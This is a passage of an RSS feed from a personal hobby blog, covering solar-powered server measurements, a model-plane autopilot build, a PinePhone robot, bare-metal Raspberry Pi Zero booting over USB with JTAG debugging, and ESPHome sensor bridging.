&lt;li&gt;Publish the &lt;code&gt;vedirect&lt;/code&gt; exporter&lt;/li&gt;
&lt;li&gt;???&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ideally the outcome includes turning off the existing NAS. I have a solution for video, but not audio to Android.&lt;/p&gt;
&lt;h2 id=&#34;section-12&#34;&gt;2020-11-09&lt;/h2&gt;
&lt;p&gt;Looking at &lt;code&gt;avg_over_time(victron_ppv_watt[24h])*24&lt;/code&gt;, gives:&lt;/p&gt;
&lt;p&gt;2020-11-05 74 Wh 2020-11-06 39 Wh 2020-11-07 91 Wh 2020-11-08 65 Wh&lt;/p&gt;
&lt;p&gt;Total of 269 Wh or 7c of electricity. 56 % of what’s needed to run the server.&lt;/p&gt;
&lt;h2 id=&#34;section-13&#34;&gt;2020-11-10&lt;/h2&gt;
&lt;figure&gt;
&lt;img src=&#34;daily.png&#34; alt=&#34;&#34; /&gt;&lt;figcaption&gt;Daily charging totals&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Looking at &lt;code&gt;avg_over_time(victron_ppv_watt[16h])*16&lt;/code&gt; gives the total number of Wh over a day.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr class=&#34;header&#34;&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Generation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class=&#34;odd&#34;&gt;
&lt;td&gt;2020-11-05&lt;/td&gt;
&lt;td&gt;74 Wh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&#34;even&#34;&gt;
&lt;td&gt;2020-11-06&lt;/td&gt;
&lt;td&gt;39 Wh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&#34;odd&#34;&gt;
&lt;td&gt;2020-11-07&lt;/td&gt;
&lt;td&gt;91 Wh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&#34;even&#34;&gt;
&lt;td&gt;2020-11-08&lt;/td&gt;
&lt;td&gt;65 Wh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&#34;odd&#34;&gt;
&lt;td&gt;2020-11-09&lt;/td&gt;
&lt;td&gt;85 Wh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&#34;even&#34;&gt;
&lt;td&gt;2020-11-10&lt;/td&gt;
&lt;td&gt;48 Wh&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;On 2020-11-09, the battery was fully charged and some generation was dropped:&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;cycle.png&#34; alt=&#34;&#34; /&gt;&lt;figcaption&gt;Battery charge cycle&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h1 id=&#34;load&#34;&gt;Load&lt;/h1&gt;
&lt;p&gt;2.35 W&lt;/p&gt;
&lt;p&gt;2.08 W with &lt;code&gt;/boot/firmware/usercfg.txt&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hdmi_blanking=2
dtparam=pwr_led_trigger=none
dtparam=pwr_led_activelow=off
dtparam=audio=off
dtoverlay=disable-wifi
dtoverlay=disable-bt&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id=&#34;sun-altitude&#34;&gt;Sun altitude&lt;/h1&gt;
&lt;p&gt;Location 47.37,8.53&lt;/p&gt;
&lt;h1 id=&#34;irradiance&#34;&gt;Irradiance&lt;/h1&gt;
&lt;h1 id=&#34;generation&#34;&gt;Generation&lt;/h1&gt;
&lt;p&gt;From&lt;/p&gt;
&lt;p&gt;https://re.jrc.ec.europa.eu/pvg_tools/en/tools.html&lt;/p&gt;
&lt;p&gt;With a slope of 60 deg, produces 54 kWh/m&lt;sup&gt;2&lt;/sup&gt;/month in December, which is ~1.8 kWh/d, or 75 W/m&lt;sup&gt;2&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;December is 30 % of the peak output.&lt;/p&gt;
&lt;p&gt;Taking a Victron BlueSolar 90 W @ 119 CHF with area of 0.52 m&lt;sup&gt;2&lt;/sup&gt;. Solar irradiance is ~1120 W/m&lt;sup&gt;2&lt;/sup&gt;, so the panel is 15 % efficient.&lt;/p&gt;
&lt;p&gt;So a 90 W panel can supply 5.9 W for 24 H in December.&lt;/p&gt;
&lt;p&gt;To check, a 90 kW (note: 1000x) system gives 4278 kWh in December and 13853 in July at 37 deg, which is 6.5 W continious in Dec and 19.2 (3x) in July.&lt;/p&gt;
&lt;p&gt;At 60 deg, this is 4825 kWh in December, or 6.7 W. 2 d of storage is 320 Wh, 26 Ah @ 12 V, or 53 Ah @ 12 V with 50 % cycling.&lt;/p&gt;
&lt;h1 id=&#34;storage&#34;&gt;Storage&lt;/h1&gt;
&lt;h1 id=&#34;wind-loading&#34;&gt;Wind loading&lt;/h1&gt;
&lt;h2 id=&#34;appendix-unsorted-links&#34;&gt;Appendix: unsorted links&lt;/h2&gt;
&lt;p&gt;2910&lt;/p&gt;
&lt;p&gt;https://keisan.casio.com/exec/system/1224682277&lt;/p&gt;
&lt;p&gt;https://pysolar.readthedocs.io/en/latest/&lt;/p&gt;
&lt;p&gt;https://re.jrc.ec.europa.eu/pvg_tools/en/tools.html&lt;/p&gt;
&lt;p&gt;https://github.com/pingswept/pysolar&lt;/p&gt;
&lt;p&gt;http://www.solarelectricityhandbook.com/solar-irradiance.html&lt;/p&gt;
&lt;p&gt;Horizontal = 1.31 to 5.64 kWh/m^2/day = ~39 to 169 kWh/m^2/month&lt;/p&gt;
&lt;p&gt;https://re.jrc.ec.europa.eu/pvg_tools/en/tools.html&lt;/p&gt;
&lt;p&gt;Horizontal - 30 to 200 kWh/m^2/month&lt;/p&gt;
&lt;p&gt;Actual solar - 32 to 177 kWh/m^2/month&lt;/p&gt;
&lt;p&gt;Panel: 545 x 668 x 25mm series 4a&lt;/p&gt;
&lt;p&gt;So sin 28 deg = O/H, O = 313,&lt;/p&gt;
&lt;p&gt;cos 28 deg = A/H, A = 589.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Vouch for authentication</title>
      <link>https://juju.nz/michaelh/post/2020/vouch/</link>
      <pubDate>Fri, 09 Oct 2020 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/vouch/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve started using 
&lt;a href=&#34;https://github.com/vouch/vouch-proxy&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Vouch&lt;/a&gt; for
SSO to my personal site. Quite happy with the experience - it
integrates well with Nginx, was straight forward to setup, and is
straight forward to enable for different paths on the site.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Propeller adapter</title>
      <link>https://juju.nz/michaelh/post/2020/adapter/</link>
      <pubDate>Fri, 04 Sep 2020 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/adapter/</guid>
      <description>&lt;p&gt;A nice thing about having a 3D printer is quick fixes to small
things.  The 8x4 propeller that came with my 
&lt;a href=&#34;https://hobbyking.com/en_us/h-king-bixler-3-glider-1550-pnf.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Bixler 3&lt;/a&gt; was
loose on the motor shaft, so I 3D printed an adapter:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./adapter.png&#34; alt=&#34;Propeller adapter&#34;&gt;&lt;/p&gt;
&lt;p&gt;It took 5 minutes to print and three tries to get the tolerances
right, but the propeller is now a good fit, much quieter, and seems
more powerful. Yay!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Bixler 3 Drone</title>
      <link>https://juju.nz/michaelh/post/2020/autobix/</link>
      <pubDate>Sat, 29 Aug 2020 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/autobix/</guid>
      <description>&lt;p&gt;I recently purchased a HobbyKing 
&lt;a href=&#34;https://hobbyking.com/en_us/h-king-bixler-3-glider-1550-pnf.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Bixler 3&lt;/a&gt; to use as a autopilot
platform and am pretty happy with how it turned out.  Both the under
wing area and nose area have plenty of room and could easily fit a

&lt;a href=&#34;https://shop.holybro.com/pixhawk4-mini_p1120.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Pixhawk 4 Mini&lt;/a&gt; with GPS and telemetry.&lt;/p&gt;
&lt;p&gt;I prefer the Pixhawk 4 Mini over the older 
&lt;a href=&#34;https://docs.px4.io/v1.9.0/en/flight_controller/pixfalcon.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Pixfalcon&lt;/a&gt; for
a few reasons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the servo connectors are built-in to the module&lt;/li&gt;
&lt;li&gt;the safety switch is built-in to the GPS&lt;/li&gt;
&lt;li&gt;two of the four sides are connector free, making it easier to route&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I ended up putting the power distribution board in the under wing area
and 3D printing a hatch to hold everything else:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./ap.png&#34; alt=&#34;Hatch&#34;&gt;&lt;/p&gt;
&lt;p&gt;The hatch is held on by the front tongue and 2x magnets.  The
autopilot, telemetry, and RX are on the bottom of the hatch and the
GPS on top:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./20200824_171653.jpg&#34; alt=&#34;Cropped to autopliot&#34;&gt;&lt;/p&gt;
&lt;p&gt;The plane flew just fine in stabilised and hold mode with the default
PX4 aircraft turnings.  I was a bit surprised by how PX4 handles a
strong headwind - if the plane can&amp;rsquo;t make progress in hold mode at the
cruise throttle then it gives up and switches back to stabilised
mode.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./20200824_171641.jpg&#34; alt=&#34;Overall&#34;&gt;&lt;/p&gt;
&lt;p&gt;Once the weather clears up I hope to do some waypoint tests.  I&amp;rsquo;d also
like to find a quieter propeller.  The stock is fine, but it&amp;rsquo;s
slightly unbalanced and could be much quieter.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Pan/tilt mount for a cell phone</title>
      <link>https://juju.nz/michaelh/post/2020/pudel/</link>
      <pubDate>Sat, 23 May 2020 00:00:00 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/pudel/</guid>
      <description>&lt;p&gt;I think it&amp;rsquo;s important to also post about the projects that didn&amp;rsquo;t
turn out.  Pudel was a project to automatically track and video a
model plane using a cell phone camera.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;mount.jpg&#34; alt=&#34;mount&#34;&gt;&lt;/p&gt;
&lt;p&gt;The pan and tilt components were modeled in

&lt;a href=&#34;https://openscad.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OpenSCAD&lt;/a&gt; and 3D printed. The pan unit had a
standard 
&lt;a href=&#34;https://www.matrix-vision.com/manuals/mvBlueFOX/mvBF_page_tech.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;1/4-20 tripod mount&lt;/a&gt; and the tilt unit had a Samsung
A40 mount that I&amp;rsquo;ve used on a few other projects.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;closeup.jpg&#34; alt=&#34;close&#34;&gt;&lt;/p&gt;
&lt;p&gt;Both were driven by standard 
&lt;a href=&#34;https://hitecrcd.com/products/servos/sport-servos/analog-sport-servos/hs-422/product&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;HS-422&lt;/a&gt; servos with a 
&lt;a href=&#34;https://www.adafruit.com/product/3500&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Trinket M0&lt;/a&gt;
for I/O and a 2S LiPo through a 
&lt;a href=&#34;https://hobbyking.com/en_us/turnigy-3a-ubec-w-noise-reduction.html?___store=en_us&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;6V BEC&lt;/a&gt; for power.&lt;/p&gt;
&lt;p&gt;The I/O board ran 
&lt;a href=&#34;https://circuitpython.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;CircuitPython&lt;/a&gt; with custom firmware that takes
MIDI-like messages as servo commands.  It implemented an
acceleration limiter and velocity limiter to limit the

&lt;a href=&#34;https://en.wikipedia.org/wiki/Jerk_%28physics%29&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;jerk&lt;/a&gt;, as the servos are capable of 60 deg/0.2 s which is much
faster than the plane would move.&lt;/p&gt;
&lt;p&gt;The host side was going to be similar to Kieferbot and use ROS with an
IO specific node, OpenCV based detection, and a PID controller to keep
the plane centered in the frame.&lt;/p&gt;
&lt;p&gt;So why did it fail?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The servos aren&amp;rsquo;t intended for precise, slow movement and hence had
mild jerk.&lt;/li&gt;
&lt;li&gt;There was too much slack in the mechanics, and the phone was mildly
heavy, so mild jerk caused the phone to move about too much.&lt;/li&gt;
&lt;li&gt;The plane is too small to resolve on a wide angle lens, so tracking
was unlikely to work.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If I wanted to take it further, I can imagine some improvements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Take the load off the pan servo.  The tilt unit sits directly on top
of the pan servo shaft and there&amp;rsquo;s not much material to sit on which
increased the shake.  Perhaps add a turntable style plates that most
of the downwards force could go through.&lt;/li&gt;
&lt;li&gt;Decrease the arm length out to the phone.  It&amp;rsquo;s 30 mm and reducing
to 20 mm would reduce the load on the tilt servo.&lt;/li&gt;
&lt;li&gt;Try a phone with optical stabilization.&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Tracking using a camera</title>
      <link>https://juju.nz/michaelh/post/2020/tracking/</link>
      <pubDate>Sun, 19 Apr 2020 00:00:00 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/tracking/</guid>
      <description>&lt;p&gt;Here&amp;rsquo;s Kieferbot being tracked through a camera:&lt;/p&gt;
&lt;p&gt;&lt;video controls src=&#34;tracking.mp4&#34;&gt;&lt;/video&gt;&lt;/p&gt;
&lt;p&gt;It took a few iterations but I settled on matching the colour of the
floor to create a floor mask, then 
&lt;a href=&#34;https://docs.opencv.org/trunk/d4/d73/tutorial_py_contours_begin.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;findCountours&lt;/a&gt; to find the
contours as a tree, and then searching the children of the root
contours.  As the bot is black, the children were matched against a
&amp;lsquo;black pixels&amp;rsquo; mask, and the contour with the most black pixels
picked.&lt;/p&gt;
&lt;p&gt;The camera is an Android phone running 
&lt;a href=&#34;https://play.google.com/store/apps/details?id=com.pas.webcam&amp;amp;hl=en&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;IP Webcam&lt;/a&gt; and sharing
the back camera as MJPEG over HTTP over Wifi at 10 FPS.  It could be
higher, but the laptop doing the image processing has trouble keeping
up with 30 FPS.  The latency looks good - visually less than 200 ms.&lt;/p&gt;
&lt;p&gt;The tracking seems reliable.  If the bot goes off the bottom of the
frame then other black areas are picked, but this can be detected by
checking for a jump in position.&lt;/p&gt;
&lt;p&gt;Next step is to integrate the camera position, phone sensors, and
wheel velocity to get a controllable position.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Self-contained and smoke</title>
      <link>https://juju.nz/michaelh/post/2020/kiefer_pine/</link>
      <pubDate>Sat, 11 Apr 2020 00:00:00 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/kiefer_pine/</guid>
      <description>&lt;p&gt;A day of highs and lows.  Here&amp;rsquo;s Kieferbot still in 
&lt;a href=&#34;https://en.wikipedia.org/wiki/Teleoperation&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;teleop&lt;/a&gt;
mode but now self contained:&lt;/p&gt;
&lt;p&gt;&lt;video controls src=&#34;self.m4v&#34;&gt;&lt;/video&gt;&lt;/p&gt;
&lt;p&gt;The 
&lt;a href=&#34;https://wiki.pine64.org/index.php/PinePhone&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;PinePhone&lt;/a&gt; is taking commands from a PS4 DualShock
over Bluetooth using &lt;code&gt;ds4drv&lt;/code&gt; and sending them to the IO board over
serial.  I experimented with a few transports:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;UDP over Wifi was fine, but the default ESP32 Wifi power mode added
random latency of up to 100 ms.  Switching to &amp;lsquo;always on&amp;rsquo; mode by
modifying MicroPython fixed this.&lt;/li&gt;
&lt;li&gt;Bluetooth Low Energy worked for one-way communication to the IO
board, but there was lots of packet loss when using Bluetooth for
both the joystick and IO.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Inspired by 
&lt;a href=&#34;https://github.com/firmata/protocol&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Firmata&lt;/a&gt;, I settled on MIDI over serial.  I
quite like the MIDI format for short messages.  A frame starts with
the command followed by a command specific payload.  The command has
the MSB set so it&amp;rsquo;s simple to frame.&lt;/p&gt;
&lt;p&gt;I also compiled 
&lt;a href=&#34;http://wiki.ros.org/kinetic&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ROS Kinetic&lt;/a&gt; for Debian Buster and created an IO node
that takes left and right velocity commands.  There seems to be an
ordering issue with either the ESP32 PWM chip or the FIT0441
controller, where going from forward to reverse and vice-versa is
fine but the motor won&amp;rsquo;t start sometimes when going from zero.&lt;/p&gt;
&lt;p&gt;So plenty of highs, but the low was 
&lt;a href=&#34;https://en.wikipedia.org/wiki/Magic_smoke&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;releasing the smoke&lt;/a&gt; - I&amp;rsquo;m
using a LiPo battery for the supply and something short-circuited when
unplugging the battery.  It seems to have taken out the regulator and
the ESP32 flash.&lt;/p&gt;
&lt;p&gt;Next step is to re-make the IO board using an 
&lt;a href=&#34;https://www.adafruit.com/product/3800&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ItsyBitsy M4&lt;/a&gt;.  It
also runs MicroPython so the IO software was easy to port.  I&amp;rsquo;ve
ordered some Seeed 
&lt;a href=&#34;https://www.seeedstudio.com/Seeeduino-XIAO-Arduino-Microcontroller-SAMD21-Cortex-M0&amp;#43;-p-4426.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;XIAO&lt;/a&gt; boards - $5 gives you a MicroPython
compatible SAMD21 with 9 pins of IO which is enough for this project.&lt;/p&gt;
&lt;p&gt;This time I&amp;rsquo;ll secure the battery socket better and 3D print a
shield.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Teleop</title>
      <link>https://juju.nz/michaelh/post/2020/kiefer_telop/</link>
      <pubDate>Sun, 22 Mar 2020 00:00:00 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/kiefer_telop/</guid>
      <description>&lt;p&gt;As a winter project, I&amp;rsquo;m turning my

&lt;a href=&#34;https://wiki.pine64.org/index.php/PinePhone&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;PinePhone&lt;/a&gt; into an
indoor robot. The Pinephone has everything needed for a decent
stand-alone robot: plenty of CPU, a camera,
gyro/accelerometor/compass, display, and it can run Debian.&lt;/p&gt;
&lt;p&gt;Below is a video of the hardware in 
&lt;a href=&#34;https://en.wikipedia.org/wiki/Teleoperation&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;teleop&lt;/a&gt; mode.  A

&lt;a href=&#34;https://wiki.wemos.cc/products:lolin32:lolin32&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Lolin32&lt;/a&gt;

&lt;a href=&#34;https://www.espressif.com/en/products/hardware/esp32/overview&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ESP32&lt;/a&gt;
running 
&lt;a href=&#34;https://micropython&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MicroPython&lt;/a&gt; takes commands over
Bluetooth LE and sends PWM and direction signals to the

&lt;a href=&#34;https://wiki.dfrobot.com/FIT0441_Brushless_DC_Motor_with_Encoder_12V_159RPM&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;FIT0441&lt;/a&gt;
motors.  The frame is 3D printed.&lt;/p&gt;
&lt;p&gt;&lt;video controls src=&#34;teleop.m4v&#34;&gt;&lt;/video&gt;&lt;/p&gt;
&lt;p&gt;Currently the phone is just a passenger.  The next step is to get the
phone to communicate with the IO board.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Bare metal Raspberry Pi Zero</title>
      <link>https://juju.nz/michaelh/post/2020/rawpizero/</link>
      <pubDate>Sun, 09 Feb 2020 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/rawpizero/</guid>
      <description>&lt;p&gt;These are short notes on loading baremetal software on the Raspberry
Pi Zero.  I started down this path due to wanting to learn Rust, which
lead to 
&lt;a href=&#34;https://www.tockos.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Tock&lt;/a&gt; which is an embedded operating
system in Rust.  Rather than buy yet another piece of hardware I
though I&amp;rsquo;d use one of my 5 (!) Raspberry Pi Zeros as a development
board instead.  It&amp;rsquo;s just another microcontroller, just one that runs
at 1 GHz and has a ton of RAM&amp;hellip;&lt;/p&gt;
&lt;h1 id=&#34;console&#34;&gt;Console&lt;/h1&gt;
&lt;p&gt;See &lt;a href=&#34;https://pinout.xyz/pinout/uart&#34;&gt;https://pinout.xyz/pinout/uart&lt;/a&gt; for the UART pins.  Note that on
Linux you need to add &lt;code&gt;enable_uart=1&lt;/code&gt; to &lt;code&gt;boot/config.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Connect to a USB &amp;ndash;&amp;gt; Serial adapter and launch a console at 11500
baud.&lt;/p&gt;
&lt;h1 id=&#34;examples&#34;&gt;Examples&lt;/h1&gt;
&lt;p&gt;See 
&lt;a href=&#34;https://github.com/dwelch67/raspberrypi&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;dwelch&lt;/a&gt;&amp;rsquo;s bare metal examples.  Note that every Pi model
has different things on different pins so use the examples from
&lt;code&gt;boards/pizero&lt;/code&gt;.&lt;/p&gt;
&lt;h1 id=&#34;loading&#34;&gt;Loading&lt;/h1&gt;
&lt;p&gt;The Pi Zero can boot over USB from a host machine without needing a SD
card.  This greatly reduces the build/debug cycle.  To do this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fetch &lt;code&gt;bootcode.bin&lt;/code&gt; and &lt;code&gt;start.elf&lt;/code&gt; from the 
&lt;a href=&#34;https://github.com/raspberrypi/firmware/tree/master/boot&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;firmware&lt;/a&gt;
repo.&lt;/li&gt;
&lt;li&gt;Fetch the 
&lt;a href=&#34;https://github.com/raspberrypi/usbboot&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;usbboot&lt;/a&gt; repo and build.&lt;/li&gt;
&lt;li&gt;Copy the &lt;code&gt;.bin&lt;/code&gt; file to &lt;code&gt;kernel.img&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;sudo rpiboot -d .&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Unplug / plug the board&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A fully worked example is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ git clone --depth 1 https://github.com/raspberrypi/firmware
Cloning into &#39;firmware&#39;...
$ mkdir boot
$ cp firmware/boot/bootcode.bin firmware/boot/start.elf boot/

$ git clone https://github.com/raspberrypi/usbboot.git
Cloning into &#39;usbboot&#39;...
$ make -C usbboot/

$ git clone https://github.com/dwelch67/raspberrypi.git
$ make -C raspberrypi/boards/pizero/uart02/
$ cp raspberrypi/boards/pizero/uart02/uart02.bin boot/kernel.img

$ sudo ./usbboot/rpiboot -d boot
Waiting for BCM2835/6/7/2711...
Sending bootcode.bin
Successful read 4 bytes
Waiting for BCM2835/6/7/2711...
Second stage boot server
File read: start.elf
File read: kernel.img
Second stage boot server done
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id=&#34;jtag&#34;&gt;JTAG&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Add &lt;code&gt;enable_jtag_gpio=1&lt;/code&gt; to &lt;code&gt;boot/config.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Wire up using
&lt;a href=&#34;https://github.com/raspberrypi/linux/issues/1749#issuecomment-265404857&#34;&gt;https://github.com/raspberrypi/linux/issues/1749#issuecomment-265404857&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;raspberry.cfg&lt;/code&gt; from
&lt;a href=&#34;https://sysprogs.com/VisualKernel/tutorials/raspberry/jtagsetup/&#34;&gt;https://sysprogs.com/VisualKernel/tutorials/raspberry/jtagsetup/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Run openocd using &lt;code&gt;openocd -f interface/jlink.cfg -f ./raspberry.cfg&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Run gdb-multiarch against the corresponding ELF file&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;giving:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ sudo openocd -f interface/jlink.cfg -f ./raspberry.cfg
Open On-Chip Debugger 0.10.0
Licensed under GNU GPL v2
For bug reports, read
	http://openocd.org/doc/doxygen/bugs.html
adapter speed: 100 kHz
adapter_nsrst_delay: 400
none separate
Info : auto-selecting first available session transport &amp;quot;jtag&amp;quot;. To override use &#39;transport select &amp;lt;transport&amp;gt;&#39;.
Info : No device selected, using first device.
Info : J-Link ARM V8 compiled Nov 28 2014 13:44:46
Info : Hardware version: 8.00
Info : VTarget = 3.287 V
Info : clock speed 100 kHz
Info : JTAG tap: rspi.arm tap/device found: 0x07b7617f (mfg: 0x0bf (Broadcom), part: 0x7b76, ver: 0x0)
Info : found ARM1176
Info : rspi.arm: hardware has 6 breakpoints, 2 watchpoints
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that the ARM CPU needs to be running some code for the JTAG to connect.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>ESPHome as a Ruuvi bridge</title>
      <link>https://juju.nz/michaelh/post/2020/esphome/</link>
      <pubDate>Sat, 01 Feb 2020 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/esphome/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;https://esphome.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ESPHome&lt;/a&gt; is a framework for building custom home
automation that runs on an ESP8266 or

&lt;a href=&#34;https://en.wikipedia.org/wiki/ESP32&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ESP32&lt;/a&gt;. It&amp;rsquo;s pretty cool - you
select and configure components by writing a 
&lt;a href=&#34;https://esphome.io/cookbook/display_time_temp_oled.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;YAML
file&lt;/a&gt;, which
then drives host side 
&lt;a href=&#34;https://github.com/esphome/esphome/blob/dev/esphome/components/ruuvitag/sensor.py&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Python
snippets&lt;/a&gt;
to configure and bind the device side code, which is then built and
pushed using 
&lt;a href=&#34;https://platformio.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;PlatformIO&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Some nice touches:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It integrates with 
&lt;a href=&#34;https://home-assistant.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Home Assistant&lt;/a&gt;
and has automatic discovery&lt;/li&gt;
&lt;li&gt;It can drive displays, including 
&lt;a href=&#34;https://esphome.io/cookbook/display_time_temp_oled.html#define-the-fonts&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;rendering TTF files&lt;/a&gt;
host side to give nice fonts device side&lt;/li&gt;
&lt;li&gt;It looks reasonably composable so, for example, you can have
multiple Bluetooth broadcast parsers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I used this to bridge between 
&lt;a href=&#34;https://ruuvi.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Ruuvi tags&lt;/a&gt; and my
Home Assistant instance. Home Assistant then re-exports everything to

&lt;a href=&#34;https://prometheus.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Prometheus&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It also gave me a reason to break out the 3D printer and make a case
for the ESP-WROOM-32 based

&lt;a href=&#34;https://wiki.wemos.cc/products:lolin32:lolin32&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Lolin32&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./case.jpg&#34; alt=&#34;Case&#34;&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Android phone as an alarm clock</title>
      <link>https://juju.nz/michaelh/post/2018/stand/</link>
      <pubDate>Sat, 20 Oct 2018 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2018/stand/</guid>
      <description>&lt;p&gt;My son wanted to get an alarm clock for his room which preferably
plays MP3s.  MP3 players are 
&lt;a href=&#34;https://www.interdiscount.ch/de/fernseher-audio/mp3-audiorecording/mp3-media-player--C164000/intertronic-mp3-player-mp3-767-blt-4-gb-black--P0001433489&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;surprisingly expensive&lt;/a&gt; at 40 CHF for
a 4 GiB model so I picked up a used 
